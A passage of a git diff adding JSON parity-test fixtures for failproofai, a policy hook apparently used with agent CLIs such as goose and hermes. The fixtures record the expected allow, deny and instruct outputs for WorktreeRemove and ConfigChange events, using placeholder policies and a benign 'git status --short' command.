+ "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/WorktreeRemove/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/WorktreeRemove/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..4cc48d75 --- /dev/null +++ b/__tests__/parity/fixtures/goose/WorktreeRemove/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/WorktreeRemove/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/WorktreeRemove/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..df7d8658 --- /dev/null +++ b/__tests__/parity/fixtures/goose/WorktreeRemove/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/WorktreeRemove/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/WorktreeRemove/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..0178db7a --- /dev/null +++ b/__tests__/parity/fixtures/goose/WorktreeRemove/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "deny", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/WorktreeRemove/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/WorktreeRemove/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..4ff3e207 --- /dev/null +++ b/__tests__/parity/fixtures/goose/WorktreeRemove/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "deny", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/WorktreeRemove/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/WorktreeRemove/deny__tool-present__one-policy.json new file mode 100644 index 00000000..2552f4b1 --- /dev/null +++ b/__tests__/parity/fixtures/goose/WorktreeRemove/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "goose", + "decision_kind": "deny", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/WorktreeRemove/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/WorktreeRemove/deny__tool-present__two-policies.json new file mode 100644 index 00000000..64904f39 --- /dev/null +++ b/__tests__/parity/fixtures/goose/WorktreeRemove/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "goose", + "decision_kind": "deny", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/WorktreeRemove/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/WorktreeRemove/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..be5b8c72 --- /dev/null +++ b/__tests__/parity/fixtures/goose/WorktreeRemove/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "instruct", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/WorktreeRemove/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/WorktreeRemove/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..f9ce5459 --- /dev/null +++ b/__tests__/parity/fixtures/goose/WorktreeRemove/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "instruct", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/WorktreeRemove/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/WorktreeRemove/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..7da6e490 --- /dev/null +++ b/__tests__/parity/fixtures/goose/WorktreeRemove/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "goose", + "decision_kind": "instruct", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/WorktreeRemove/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/WorktreeRemove/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..19713b38 --- /dev/null +++ b/__tests__/parity/fixtures/goose/WorktreeRemove/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "goose", + "decision_kind": "instruct", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/ConfigChange/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/ConfigChange/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..1f04187f --- /dev/null +++ b/__tests__/parity/fixtures/hermes/ConfigChange/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/ConfigChange/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/ConfigChange/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..960c8a25 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/ConfigChange/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/ConfigChange/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/ConfigChange/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..47eeac59 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/ConfigChange/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/ConfigChange/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/ConfigChange/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..8164ce44 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/ConfigChange/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/ConfigChange/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/ConfigChange/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..1f4e474d --- /dev/null +++ b/__tests__/parity/fixtures/hermes/ConfigChange/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/ConfigChange/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/ConfigChange/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..b55d456f --- /dev/null +++ b/__tests__/parity/fixtures/hermes/ConfigChange/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/ConfigChange/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/ConfigChange/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..13273549 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/ConfigChange/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/ConfigChange/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/ConfigChange/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..a06f7713 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/ConfigChange/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/ConfigChange/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/ConfigChange/deny__tool-absent__one-policy.json new file mode 100644 index 